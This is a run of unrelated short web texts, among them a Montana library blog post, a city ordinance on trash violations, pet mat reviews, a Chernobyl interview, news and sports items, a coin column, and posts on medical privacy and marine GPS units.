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I read a book a few years back by rock icon, David Crosby. Crosby says that the answers to everything in the world are written down in a book somewhere. It's made a lot of sense to me & it's actually true & probably one of the reasons that I'm so smart…I'm the Puffman! Speaking of books, the Glacier County Library Book Group will be meeting tonight (Thursday) at 7. They plan to discuss Jeanette Wall's tome, "Half-Broke-Horses". Sounds like a good one, especially if you're from Montana! The Cut Bank library group will be meeting at the library in Cut Bank, 21 1st Avenue Southeast. It's always remarkable what each individual member will get out of a book & what impression they will take away with them. Here in Shelby, our Toole County Friends Of The Library (how can you NOT be a friend of the library!) will be holding their 1st of the month book sale tonight (Thursday) from 5 until 8 at the white building, next to Hong Kong Chans in Shelby. Speaking of which, I'm working up a hunger right now… I could go for some sweet n' sour chicken. I'll see you after lunch in another Puffman Blog.


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§ 300-35 Violations and penalties.
Failure to comply with any provision of this chapter shall be a violation.
There shall be a rebuttable presumption that the occupant and record owner of the property, according to the records of the City Tax Collector, on whose property any bulky items are placed for pickup and disposal are responsible for the improper placement of each item for pickup in violation of this section.
Except as otherwise specifically provided within this chapter, any person who shall violate the provisions of this chapter shall be liable to pay a fine of $35 for a first offense, $75 for a second offense and $150 for a third offense. Such amounts may be paid without appearance in court unless the summons otherwise indicates that a court appearance is necessary before the Judge of the Municipal Court of the City of Bridgeton. If a court appearance is required, the court shall, upon conviction, impose the general penalty as provided in Chapter 1, Article III, for an offense/violation. If a court appearance is required, the court may also impose remediation and community service up to 30 days. In addition, any person, firm, corporation or other entity convicted of a violation of this article shall pay all expenses incurred for the removal of said trash, garbage or refuse. Each day that a violation occurs may be considered as a separate violation of the provisions of this article.
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posted on 26/11/2011 16:17:05 by claire258
Product Reviewed: Large 89cm x 56cm
We have this in the car for our labrador puppy and she loves it. Perfect size, soft and doesn't move around. Highly recommend it.
lovely product
posted on 03/06/2011 23:24:14 by shrubberycott
Product Reviewed: Medium 71cm x 46cm
Ordered this to compliment the medium super strong double door dog cage with divider. Am very pleased with it. Perfect fit, does not slip about, cosy fleece centre, good depth of fleece, nice raised edge. Border Collie pup snuggles up and feels secure. Looks and feels just as good after washing.
Absolutely perfect
posted on 21/04/2011 12:58:50 by claire
Product Reviewed: Large 89cm x 56cm
Finally a comfy mat that doesnt slide across the floor My miniature schnauzer loves her new mat I bought a large one as she likes to lie with her legs stretched out And when on her side she can rest her head on the padded sides A great purchase
Super Safe
posted on 30/03/2011 08:15:35 by Jos Mutti
Product Reviewed: Medium 71cm x 46cm
The rubber backing on this mattress ensures it stays put unlike other ones we've had that slide about. Well made from quality materials, I would recommend this product to others. 10/10.
Excellent Quality
posted on 19/02/2011 20:06:19 by Jules
Product Reviewed: Small 53cm x 37cm
Our new dog loves this, it is excellent quality and very reasonably priced, fits perfectly into the small cage.
Dog loves it, treats it as a comfort mat
posted on 23/10/2010 13:15:40 by jacquelinedrea1
Product Reviewed: Medium 71cm x 46cm
7 year old Scotti, first time he has used a mat, likes it especially now the firework season is with us.
Approved by my fussy cat!
posted on 20/10/2010 13:36:21 by Jennifer
Product Reviewed: Medium 71cm x 46cm
My 2 year old cat has pretty discerning taste in cat beds and as a consequence has had the same bed since I got him. The store where I bought it stopped selling them and I've hunted high and low since to get a new bed. When I saw this I was dubious as to whether he'd like it with the suede surround, but he absolutely loves it! He paws it to death, whilst drooling with happiness, and I'm impressed by the quality too as it's a far sturdier mat than the one he had and looks more expensive than it was.
my puppy loves it
posted on 12/05/2010 20:04:09 by cross-missv
Product Reviewed: Medium 71cm x 46cm
great value for money, my puppy sleeps on it and i put a hot water bottle under it and he loves the warmth and cosyness
posted on 09/05/2010 12:04:10 by iomgirlie63
Product Reviewed: Medium 71cm x 46cm
Really nice mat I got it as a change over so I could wash the Pet planet crate mat I already have, I would have just got another of the same but they didn't have any so got this instead and not disappointed, it's lovely.
Cats have given it the paws up!
posted on 10/04/2010 00:58:42
Product Reviewed: Small 53cm x 37cm
Bought the small 21"/53cm size for a spare bed for my cats and to line their cat carrier. It is really good quality and used by at least one of them most evenings and is the perfect size for a small/ average size cat. Only downside is that it has to be handwashed but I've put it in the washing machine on a delicate 30 degree cycle and it has not damaged it. Good quality and great value!!
Great hit
posted on 16/03/2010 04:50:28
Product Reviewed: Medium 71cm x 46cm
Wanted something for our puppy to lie on outside of her cage. Saw this on the site. Our beagle puppy loves to lie on her plush mat. The sheepskin in the middle is soft, and the out edge is raised so she feels gently enclosed. She's still a puppy at the moment but think the medium size mat will fit, if not I would'nt have a problem paying for the large size. Well worth it!!


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Non-Coherent Capacity of Secret-Key Agreement With Public Discussion
The authors study the non-coherent capacity of secret-key agreement with public discussion over i.i.d. Rayleigh Fading wireless channels, where neither the sender nor the receivers have access to instantaneous Channel State Information (CSI). They present two results. At high Signal-to-Noise Ratio (SNR), the secret-key capacity is bounded in SNR, regardless of the number of antennas at each terminal. Second, for a system with a single antenna at both the legitimate and the eavesdropper terminals and an arbitrary number of transmit antennas, the secret-key capacity-achieving input distribution is discrete, with a finite number of mass points.
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Report rates Satyam as No. 1 in current offerings amongst Indian organizations
HYDERABAD, India, Dec. 29, 2007—Satyam Computer Services Ltd. (NYSE: SAY), a leading business and information technology services provider, today announced that Forrester Research has named the company a leader in SAP implementation capabilities. "The Forrester WaveTM: SAP Implementation Providers, Q4, 2007 (December 2007)" places Satyam in the same category as companies heading "an extremely well qualified pack."The report states "Satyam has a strong overall value proposition in addition to a long track recordwith SAP. Its client satisfaction scores are high, its pricing is reasonable, and a large number of clients were willing to attest to its value.""It is certainly true that our customers have been our greatest assets and references," Mehta said. "Our achievements are a direct result of our commitment to delivery excellence and the demonstrated value of our SAP implementations. We always try to exceed our customers' expectations, and our recognition in the report reflects these efforts." The report is especially relevant because demand for SAP services continues to grow globally, as organizations increasingly leverage the ERP provider's expanding portfolio of offerings. In addition, many existing customers need to upgrade to newer versions of SAP."We are pleased to be recognized as a leader by Forrester Research and rated as no.1 in current offering amongst Indian organization," said Manish Mehta, Global Head, Director and Senior Vice President – SAP & Testing Practice. "We are proud of our exceptional SAP expertise, and of our ability to help our customers in a broad range of industries gain the maximum benefit from their ERP investments. As the report noted, we continue to invest in our SAP Practice, and this is evidenced by our increasing number of end-to-end implementations. Companies all over the globe benefit from those efforts, as well as the skills of our SAP consultants."The report is the result of information compiled by Forrester by researching the world's leading SAP implementation organizations on 108 evaluation criteria. It noted that Satyam is an especially good fit for companies that "need experienced SAP technical skills," and those that "require vertical knowledge in the manufacturing, high-tech, or semiconductor industries."Moreover, the report praises Satyam's implementation capabilities. "Not surprisingly, given its strong SAP methodology as well as internally developed engagement aids and implementation experience, Satyam scores strongly in the implementation portion of this survey," the report said. Satyam's skills in strategy, post-implementation, remote delivery, overall vision, and overall value were also noted.Forrester is one of several independent industry analysts to recognize Satyam in SAP services recently. The report is available from Forrester Research (www.forrester.com.)Satyam Contacts For further information, contact: firstname.lastname@example.com
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Mt. Pleasant football falls to Keokuk
KEOKUK — The Mt. Pleasant football team dropped its week 8 game against Keokuk on Friday night, falling by a score of 33-7.
The Panthers allowed 27 points in the first half and another touchdown in the final quarter. Four different Chiefs scored in the game.
The Panthers scored their only touchdown in the second quarter on a 1-yard run by Carson Remick. Zoom Gwamna's PAT attempt was good.
On the night, the Panthers came up with just five first downs — two rushing, two passing and one by penalty — while Keokuk picked up 16.
The Chiefs finished with 308 net yards of total offense, and Mt. Pleasant had 88.
Gwamna had a team-high 39 rushing yards in the game (9.8 per carry) and Remick picked up 24 net yards.
Dustin Amos was 2-for-6 passing for 26 yards and Joseph Hess was 4-for-6 for 14 yards.
Cole Phillips had two catches for 22 yards. Blake Knudsen had a 5-yard catch and Justin Dilks had a 2-yard reception.
Justin Chalupa had an interception, and Austin Smith blocked a kick.
Remick and Canby led the defense, according to Coach Shawn Striegel.
The Panthers are now 0-8 on the season and 0-5 in the district.
They finish their season on Friday when they host Williamsburg.
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"Not necessarily. There are conflicting schools of thought on that. Definitely, it was dangerous to maintain Chernobyl. But on the other hand, these things come and go, and you can never be sure they won't return. In Armenia, they had a power station of the same design as Chernobyl. And in the years after the explosion, as the Soviet Union reached its lowest ebb and collapsed, the environmentalist movement managed to get that reactor shut down. It was a particularly dangerous one, because in those glorious Soviet times they managed to build a nuclear power plant directly over a geological fault. But eventually, after their bruising war with Azerbaijan and suffering many years of power shortages, the Armenians simply reopened the reactor. And it's hard to guarantee that the Ukrainians won't eventually do the same."
Indeed, they're pulling the plug on the reactor just as they're going into a harsh winter. Do they have an alternative energy source to replace the power they're losing from Chernobyl?
"Actually no, their situation is very bad. Even before closing Chernobyl, they had daily outages in the capital, Kiev. In fact, they're so regular that they're actually scheduled, blacking out whole sections of the city for hours at a time so that power can be supplied to other regions. Now, without Chernobyl, they will have to extend those blackouts. Their only alternative is to rely more heavily on heating oil, which comes from Russia. And that could raise political tensions by making them more dependent on Russia. In the long term they're relying on promises from Europe of billions of dollars to help them develop a new nuclear energy program. But that's not going to help them in the short term."
Presumably, that could create a political crisis for President Leonid Kuchma.
"Kuchma has far bigger problems to worry about. Right now he's facing a major scandal, having been accused of conspiracy and murder. It relates to the disappearance of Kiev journalist Georgy Gongadze, who was very critical of Kuchma and is believed to have been kidnapped and killed. Several days ago the speaker of parliament revealed a tape recording made by a former bodyguard of Kuchma, which supposedly has the president meeting with senior officials and demanding in very harsh language that the journalist be killed. Opposition politicians also claim to have a videotaped confession from the bodyguard. Kuchma denies everything, and a major scandal is brewing."
And of course while all this is happening, there may still be a continuing nuclear reaction under the concrete sarcophagus that was poured over the exploded reactor at Chernobyl.
"Nobody knows exactly what's happening under the sarcophagus. There have been rumors of leaks, and nobody knows how solid the construction is. One thing that's clear is that it needs constant monitoring and regular inspection, and this costs money that Ukraine does not have. Kuchma is a politician. He'll always play both ends against the middle, playing NATO countries against the Russians and vice versa. But beyond the politicking, there's a very real problem. Chernobyl requires urgent attention from the international community. When the Ukraine is broke and Russia is poor, there's a real danger that Chernobyl will be left unattended. And that can't be allowed to happen."


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That's it about skies isn't it? Even though pictures can't begin to capture the immense beauty of the sky, I keep taking pictures because I know I will never see this exact one again. Thanks for sharing your thoughts.
Great title, mpilnadyful! They are really flying and crying. Thank you. You like skies, don't you. I do too. I take pics of the sky almost everyday. There is never the same sky. For me, almost the evening sky. I will try in the morning sometime.
Thanks. I think you had a "morning" cloud that was still crying too.
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Herman Cain 'Sexual Harassment' Press Conference
Tuesday, November 8, 2011
Herman Cain held a press conference today to address the recent sexual harassment allegations made by Sharon Bialek, who has chosen to be represented by none other than Gloria Allred. I could say much about that, but the name Allred speaks volumes all by itself--none of it good.
Cain maintains that he has never harassed anyone and declares that he will "vigorously" defend his character and reputation. After the presser, he took questions from the media. It's definitely worth watching.
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The United States commemorative coin program was ushered in with the World's Columbian Exposition half dollars of 1892 and 1893. After a flurry of issues in the 1930s, the program ended in 1954 with the final Booker T. Washington/George Washington Carver commemorative half dollar.
The tradition was resurrected in 1982 with a handsome 90 percent silver half dollar honoring the 250th anniversary of George Washington's birth. The next commemorative half dollar—the 1986 Statue of Liberty—was struck in a copper-nickel clad composition that contained no precious metals.
Unlike modern commemorative silver dollars, which are 90-percent silver and contain 0.77344 ounces of silver, modern copper-nickel clad half dollars are thankfully immune to silver's recent bull run.
In many ways, commemorative half dollars are my favorite modern issues as they continue in the rich tradition of the 1892 to 1954 issues. As I see it, artists have had better success in creating coherent and attractive designs on the half dollar than for other commemorative coin denominations.
A half dollar honoring the 1989 Bicentennial of Congress ends the 1980s half dollar set, while the 1990s group starts off with the popular 1991 Mount Rushmore 50th Anniversary half dollar.
Next up is a half dollar honoring the 1992 Olympic Games. The reverse of this piece is noteworthy, as it was designed by Michigan State Sen. Steve Bieda, who is an avid coin collector and currently serves as legal counsel for several numismatic organizations.
The keys to the modern copper-nickel clad commemorative half dollar series are the two 1996-S half dollars struck for the Summer Olympic Games in Atlanta.
With low mintages of just 49,533 for the Swimming half dollar in Uncirculated and 52,836 for the Soccer coin in Uncirculated, these are the heavy hitters with prices around $150 for each.
A semi-key coin is the 1995-S Civil War Battlefield Preservation half dollar, which has a relatively low combined Proof and Uncirculated mintage of just under 450,000. Examples trade for about $50 each.
The Uncirculated 2011-D Army half dollar, with a mintage of just 39,461 coins, has the lowest output among commemorative U.S. half dollars since the 1982 start of modern commems. Examples can regularly be found in online auctions at the $60 level.
In comparison, the 2001 Capitol Visitor Center half dollar has a combined mintage of just 177,119 pieces, yet examples can be easily found for $25. Thankfully, the rest of the coins in the modern commemorative half dollar series can be purchased for less than $25.
The resulting set is a nice presentation that lacks the daunting numbers of the modern commemorative dollar series and also the sensitivity to fluctuations in value based on the price of bullion.
Steve Roach is the editor of Coin World, the world's leading resource for coin and paper money collectors. Each week, Coin World informs, educates and entertains collectors pursuing their passion for numismatics. To learn more or subscribe, visit www.coinworld.com.
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Every year a Spanish village honors a saint by dropping a goat off the church tower. Casual observers might find this particularly odd, but cradle Catholics know how to take it in stride. Catholicism what with its complex rituals, politics, history, and secrets is a culture of mystery unto itself. Did you know, for instance, that a dead Pope has to be tapped on the head three times with a small hammer before his death is official? Ever come across the theory of Purgatory? Or how about the Vatican bank? Great mysteries, all.
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In the grand tradition of murky Catholic subjects, the Caldwell Theater (7873 N. Federal Hwy., Boca Raton) presents Doubt: A Parable, the 2005 Pulitzer-winning play. Set in a Bronx Catholic school just after Vatican II, Doubt is the story of an outgoing priest, a boy, and a tough nun who suspects the priest of molesting said boy. As the priest and nun butt heads, the audience struggles to understand the truth behind the accusations: Is the priest an innocent saint or a pedophile? Like the final prophecy of the Virgin of Fatima (a disappointingly vague prediction of an assassination, which was finally revealed in 2000), Doubt keeps twisting minds most days through January 6. Tickets cost $10 to $42. Call 561-241-7432, or visit www.caldwelltheatre.com.
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Woman caught with stolen chalices from Catholic church
SIBLEY, Iowa -- A Sibley woman was arrested Saturday and is facing a second-degree theft class D felony charges for possessing stolen property. During a search warrant execution in May, two gold chalices stolen from St. Andrew's Catholic Church were discovered in the trunk of 19-year-old Heather Lynn Kruger's car.
According to the criminal complaint, a search warrant was served on Kruger for both her residence and her vehicle. An officer located the two chalices, which Kruger claimed she had gotten from her grandmother. Her grandmother, she allegedly said, had purchased them at a yard sale.
When authorities contacted Kruger's grandmother, the woman alleged Kruger had called and asked that she cover for her. The grandmother told authorities she would not cover for Kruger and that the chalices had not come from her.
Kruger later admitted she knew the chalices were in her trunk, but denied knowing how they got there.
According to Osceola County Sheriff Doug Weber, a burglary at St. Andrew's Catholic Church was reported Feb. 2. A small safe taken during the burglary has not yet been recovered. The chalices are valued at approximately $1,500 each.
During a small rash of vandalisms in May, a deputy had gone to Kruger's residence to speak with a male subject who may have been involved in the vandalisms. When the deputy knocked on the door, he heard people moving around, but no one answered the door. He looked in a window and observed liquor bottles, beer cans and a bong he believed may be used to smoke marijuana.
Weber said the people who frequent the residence are under age.
Based on this information, the deputy secured a search warrant, and during its execution discovered the chalices.
"He did a good job," Weber stated. "It was just good old-fashioned police work."
Kruger was booked into the Osceola County Jail on a $5,000 cash only bond. Her next court appearance is scheduled for July 20.


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International Film Society :: Z
Z | France
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Zero Kelvin | Norway
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The death of the repertory and revival houses in most cities has been appropriately mourned, but who is here to grieve the death of campus film societies, which have shut down on one campus after another? … The campus auditoriums where once
we saw Ikiru are silent now on Sunday nights, but down in the lounge of the campus dorm, the kids are sitting in front of the 50-inch Mitsubishi, watching Weekend at Bernie's. … A young person seriously interested in film has little sense, these days, that he is part of a community. The collapse of campus film societies is the single most obvious reason for this. Serious discussion of good movies is no longer part of most students' undergraduate experience. — Roger Ebert
Information about joining the International Film Committee or the UAC Film Committee
is available at the Activities, Involvement and Leadership office, Davies Center 222, 715-836-4833.


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Smells like grapefruit? Hmmm, interesting.
Now I know that Swampwater is supposed to be the tea you brew for kids, but, no sooner had I taken this out of the fridge—after brewing it for 10 minutes, straining, then placing it there to cool—then my 18-month-old hold her sippy cup out to me. She's probably thirsty and I prefer to fill it with cold tea, instead of juice, anyways. I hand her the full cup and she literally starts drinking without stopping for a breath! Either she's really thirsty of she really loves this tea. Probably a combination of both! Looks like this will be in full rotation this summer as I brew it up for my daughter to drink.
Now, what do I think of it? I find it's a really flavourful brew, especially when you just leave it for a bit, then strain and chill. I could see it being a little on the weak side if you brewed it then poured it over ice, so to get maximum flavour I recommend steeping it for 10+ minutes, straining it, then forgetting it in the fridge for a day so it reached peak coldness.
Trust me on this one, have I ever lead you astray before?


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"In my work with gay men and couples I have observed some concerns with compulsive and distracting use of "gay hook-up" apps. In my observation, many men have never had the opportunity to gain the social skills associated with healthy dating. The ability to approach someone they are interested in, the ability to deal and sit with rejection, hold conversation, make eye contact, and perhaps most important to stick with something even when something goes wrong. My fear is that the upcoming generation has no experience with life before smart phones and the internet. My fear is that relationships will become disposable and impulsive and coupling will become fake, temporary, and convenient". – Nathaniel Currie, LICSW
How many times are you on your favorite hook up app a day? Do you find yourself having difficulty completing tasks or being social because you are constantly on apps? How has your hookup app use impacted the way you see your body? Has it made you appreciate your body more? Has it made it easier to see gay men as disposable? Has it made you bitter or joyful? Or both?
The answers to these questions are not black and white. While we know that apps have made it easier to connect, what we don't know is how they have impacted our emotional intelligence, social culture and wellbeing as gay men. To get some insight on this, I reached out to Nathaniel Currie, a therapist working in Washington D.C with extensive clinical and community based experience with Black and Latino gay men. Nathaniel and I explored questions of how online culture may be helping to connect us and at the same time exacerbate issues of sexual compulsivity and more.
Akili: Many hook up apps encourage the sharing of stats and measurements in a manner that puts us in direct competition with other "bodies" on the market. How have you seen this show up in our communities?
Currie: Too many times I have had men come into my office and make statements about people or themselves based on pictures they have seen of other people posted on social media or compare themselves to men they find attractive. Stats and measurements are not just ways to identify how someone might measure up in terms of attractiveness but in gay/bi culture it is also a way of qualifying people… as to say a person is placed in some sort of hierarchy based on levels of fitness, attractiveness and body shape….The bombarding of images is overwhelming to even the most confident, well-adjusted individual. I don't know how anybody could not fall victim to some sort of "ego-self" self-doubt in this day and age.
Akili: What are some of the things, in your opinion, that we have gained through having online opportunities to connect? And what do you think we have lost?
Currie: Perhaps the most important thing, in my opinion, is that we have literally begun to function as a global village. [But] I think with so many perceived options, so many attractive pictures to look at, so much of what we want available, that as a dating community we have, and will continue to have, more and more trouble sticking with one person, making a commitment. As we find ourselves acting out these behaviors of continuous hooks-ups, month long lovers, and date after date, our perception of love and partnership begins to change. It starts to become something to do, or something you should do.
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The California African American Museum Celebrates National Children's Book Week
The California African American Museum (CAAM) celebrated National Children's Book Week with the literacy event Heads are Turning, Children are Learning on Saturday, May 18. Event co-hosts included actor Thomas Hobson of The Fresh Beat Band; actress Niketa Calame of The Lion King (animation); and actor Donis Leonard, Jr. from Showtime's House of Lies.
During the literary event, renowned children's author and illustrator Kadir Nelson was on hand and several noted celebrities read from his books. Participating celebrities who read to children on the main stage in CAAM's Courtyard included actor Malcolm-Jamal Warner, who read from Nelson's book "Nelson Mandela" and actress Deidrie Henry, who read from Nelson's book about Michael Jordan "Salt in His Shoes." In addition, actress and choreographer Debbie Allen read from her book "Dancing in the Wings."
Many local authors also read from their books including Bunny Hull, Quentin Holmes, Cassadra Black, A.K. Usafi, Lesley A. Anderson and Calida Garcia Rawles. Local authors will read in the CAAM galleries. Other activities included live performances, art workshops and face painting. Also there were book, poster and art-kit giveaways. In addition, Eso Won Books, an independent Black-owned bookstore, was on site selling the books included in the program. Adults were not been left out in this day of literacy, as the Los Angeles Public Library hosted a table providing public library information and adult literacy.
For more information about CAAM and its exhibitions, programs and events, please visit: http://www.caamuseum.org or call (213) 744-7432.


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Today's blog post was written by Edward M. Richstone. Richstone is a retired school psychologist. He has written articles on a variety of topics for civic organizations and city newspapers.
In my previous blog, I described an encounter with Christy Hengst's birds, suggested their symbolic purpose, and began to define "site-specific" and "installation art," which characterizes Ms. Hengst's work.
Site-specific art is sometimes constructed, not just planned but improvised, on-site. This is especially true when live performers are part of the showing, or when the viewing public is encouraged to participate, even something low-key like posing for pictures with the artwork.
I vividly recall two examples of "site-specific" art, the first one achieving perfect harmony with its setting, the second causing a sensation by giving the environment a drastically different look.
Residents of sleepy Winslow, Arizona must certainly perk up when talking about one piece of public art that has arguably become their town's signature. Consisting of a statue and mural, the so-called "park" is down-home, and, artistically speaking, "site-specific," in its kinship with the surroundings. Capturing the easygoing mood is an overhead sign on a lamppost behind the statue. It simply says, "Standin' on the Corner." It is nostalgia that makes this homespun tableau most memorable. For one thing, the sign's shape and its street location evoke memories of historic Route 66. For another, the park's name is part of the lyrics of the classic 1972 song, "Take It Easy," composed and performed by the still popular rock band, The Eagles.
At this Eagles shrine, tourists find Ron Adamson's life-size bronze figure of a man, standing in western wear, while holding upright an acoustic guitar. The backdrop is a trompe l'oeil (super-realistic) mural by John Pugh that appears on a façade, just a wall, not a building. On the "first floor"is a faux storefront window that appears to reflect the street image of a pickup truck, driven by a woman. She is the one who ogles the narrator of the song, "Take It Easy." On the "second floor," there are two windows—one with a sill on which an eagle is perched (a nod to the rock band), the other window revealing the aforementioned woman hugging the narrator, who, in the song, eventually climbs into her truck.
But site-specific art need not be physically permanent or meshed with its setting like "Standin on the Corner." Take, for example, "The Gates." by Christo and Jeanne-Claude. After just a two-week showing in February of 2005, the outdoor exhibition disappeared forever from New York City's Central Park. But many still remember how approximately 7,500 fabric panels on poles formed a canopy lining twenty-three miles of pathways. What grabbed attention was the saffron-colored nylon flapping in the wind overhead, standing out amidst bare tree branches, and against the bleak sky of winter. Aside from color, it was also a strong contrast between human creation and natural environment. The large crowds, forming a serpentine procession, much denser than the usual flow along the narrow footpaths, became an integral part of the internationally publicized event.


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Fawcett's Cancer Battle Highlights Need for Privacy
If you haven't already read it, there is a moving interview in The Los Angeles Times with actress Farrah Fawcett about her 2½ year battle with cancer.
Fawcett, 62, the one-time Charlie's Angels star and pin-up poster goddess of 1970s America, told the newspaper that her efforts to fight anal cancer were made more difficult when her personal medical records were illegally accessed by at least one employee at UCLA Medical Center. That employee then sold the information for $4,600 to the National Enquirer.
"It seems that there are areas that should be off-limits," Fawcett told the Times. " It's much easier to go through something and deal with it without being under a microscope. It was stressful. I was terrified of getting the chemo. It's not pleasant. And the radiation is not pleasant."
Because of the continuing unwanted publicity about her health, Fawcett had to take her attention away from fighting a deadly disease and devise—on her own—a sting operation to catch the snooping employee. In May 2007, when she learned that her cancer had returned, she told no one. Still, the news came out in the Enquirer within " maybe four days." When Fawcett asked UCLA Medical Center for the name of the snooping employee, she says a hospital official refused to provide it, saying they had a responsibility to " protect our employees." " And I said, 'More than your patients?' . . ." Fawcett told The Times.
Eventually, the snooping employee was identified. She pleaded guilty in December to a felony charge of violating federal medical privacy laws for commercial purposes. She died in March, of cancer, before she could be sentenced.
Fawcett hopes the Enquirer will also be charged with a crime for " buying stolen goods" in the form of confidential medical records. Fawcett also blames UCLA Medical Center for the lapses and suggested the only thing they cared about was getting her to donate money for a foundation to be named after her.
This is a unique case involving an internationally known celebrity. But there are lessons that every hospital can take from this security breach.
First, it illustrates very plainly how damaging a privacy violation can be to the health of the patient. Farrah Fawcett, nor any patient, should have to divert attention from fighting a disease and instead devise a trap for a snooping employee. All patients are vulnerable, even more so those battling cancer and other life-threatening diseases. No one should have to deal with the additional stress of protecting their medical records.
Second, if for whatever reason a patient raises questions about the security of their medical records, address those concerns immediately. Your hospital might not treat a lot of movie stars, but privacy violations affect everybody everywhere for any number of reasons.
Third, Fawcett's story justifies the new enhanced enforcement and security for HIPAA violations. As I've said before, if your hospital can't get patient privacy right, how can you be trusted with anything else?
Thirty years ago, Farrah Fawcett's smiling face was the pin-up fixture that adorned the walls of millions of teenage boys. Now might be a good time to print out that LA Times interview and pin that up on the employee bulletin board.
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The advent of technology has resulted in a vast improvement in navigation tools used at the sea. In the marine industry, one technological development that has pioneered navigation is the Global Positioning System (GPS). Although conventional GPS systems are connected to computers, furtherance in the technology has led to the innovation of handheld marine GPS.
There are many GPS manufacturing companies that create and market such portable marine GPS. But then there are those few elite ones that not only market a portable GPS navigator, but ensure that these navigators are the best amongst their technological peers.
Mentioned in here are five best portable handheld marine GPS in the market today:
1. Garmin eTrex Venture HC GPS Receiver: A product of the engineering conglomerate Garmin, the eTrex Venture HC is the first handheld marine GPS to be featured in this list. The most noteworthy feature about this GPS is its 24 Mega Bytes (MB) internal memory. Priced at a reasonable US$ 169.99, the eTrex Venture HC is a GPS worth pocketing.
2.Garmin eTrex 20 Worldwide Handheld GPS Navigator: Another Garmin product, the eTrex 20 comes with a water-resistant torso. The eTrex 20 makes the cut here because of his solidness to be utilised in any kind of conditions. With an easily perceivable displaying – especially in bright sunshine – the eTrex 20 has a memory of 1.7 Giga Bytes (GB).
3. Garmin GPSMAP 76CSx: The third Garmin portable marine GPS, the GPSMAP 76CSX is built with features like a Thin Film Transistor (TFT), an altimeter that fluctuates depending on the atmospheric pressure and a compass powered electronically. But more than this, the most singular feature of the compass is the expandable memory feature.
4. Magellan Explorist GC: With a screen that can be personalized according to the user, the Magellan Explorist GC comes with the unique connectivity of Geocoaching.com.
Simplistic manoeuvrings and controlling further add to Magellan Explorist GC's appeal.
5. Garmin GPSMAP 76Cx: The fourth Garmin handheld GPS navigator, the GPSMAP 76Cx is yet another variety in the 76Cx series. The portable navigator comes with a solid, water-resistant torso and a TFT display that makes it a favorite amongst potential users as does its expandable internal memory.
Each of these best portable marine GPS systems provides satisfaction to users unlike any other portable marine GPS. It is this factor that makes these GPS systems more worthy and ultimately helps potential users make their final selection.


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